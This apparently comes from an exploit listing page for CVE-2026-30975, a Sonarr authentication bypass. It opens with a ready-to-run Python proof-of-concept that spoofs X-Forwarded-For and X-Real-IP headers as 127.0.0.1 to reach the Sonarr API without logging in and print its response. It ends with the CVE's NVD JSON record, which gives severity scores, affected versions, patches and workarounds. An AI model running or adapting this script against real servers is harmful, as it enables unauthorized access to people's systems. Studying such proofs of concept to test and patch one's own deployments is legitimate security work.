CVE-2026-30975

import requests # PoC for CVE-2026-30975: Sonarr Authentication Bypass # Exploit condition: Auth set to 'Disabled for Local Addresses' without a proper reverse proxy. # This script sends a request with a spoofed local IP header to bypass auth. target_url = "http://<TARGET_IP>:<PORT>/api/v3/system/status" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", # Spoofing the source IP to appear as localhost "X-Forwarded-For": "127.0.0.1", "X-Real-IP": "127.0.0.1" } try: response = requests.get(target_url, headers=headers, timeout=10) if response.status_code == 200: print("[+] Authentication Bypass Successful!") print("[+] Response Body:") print(response.text) else: print(f"[-] Failed to bypass. Status Code: {response.status_code}") print("[-] Ensure the target is configured with 'Disabled for Local Addresses' and has no reverse proxy.") except requests.exceptions.RequestException as e: print(f"[-] Connection Error: {e}")

{"cve": {"id": "CVE-2026-30975", "sourceIdentifier": "[email protected]", "published": "2026-03-25T21:16:41.453", "lastModified": "2026-03-30T16:55:47.733", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sonarr is a PVR for Usenet and BitTorrent users. Versions prior to 4.0.16.2942 have an authentication bypass that affected users that had disabled authentication for local addresses (Authentication Required set to: `Disabled for Local Addresses`) without a reverse proxy running in front of Sonarr that didn't not pass through the invalid header. Patches are available in version 4.0.16.2942 in the nightly/develop branch and version 4.0.16.2944 for stable/main releases. Some workarounds are available. Make sure Sonarr's Authentication Required setting is set to `Enabled`, run Sonarr behind a reverse proxy, and/or do not expose Sonarr directly to the internet and instead rely on accessing it through a VPN, Tailscale or a similar solution."}, {"lang": "es", "value": "Sonarr es un PVR para usuarios de Usenet y BitTorrent. Las versiones anteriores a la 4.0.16.2942 tienen una omisión de autenticación que afectaba a los usuarios que habían deshabilitado la autenticación para direcciones locales (Autenticación Requerida configurada como: 'Deshabilitada para Direcciones Locales') sin un proxy inverso ejecutándose delante de Sonarr que sí pasara la cabecera inválida. Los parches están disponibles en la versión 4.0.16.2942 en la rama nightly/develop y en la versión 4.0.16.2944 para las versiones stable/main. Algunas soluciones alternativas están disponibles. Asegúrese de que la configuración 'Autenticación Requerida' de Sonarr esté establecida en 'Habilitada', ejecute Sonarr detrás de un proxy inverso, y/o no exponga Sonarr directamente a internet y, en su lugar, confíe en acceder a él a través de una VPN, Tailscale o una solución similar."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-290"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sonarr:sonarr:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.0.16.2942", "matchCriteriaId": "03480656-DD06-48B9-AB6B-40F751EDAA17"}]}]}], "references": [{"url": "https://github.com/Sonarr/Sonarr/releases/tag/v4.0.16.2942", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/Sonarr/Sonarr/releases/tag/v4.0.16.2944", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/Sonarr/Sonarr/security/advisories/GHSA-h5qx-5hjf-7c9r", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}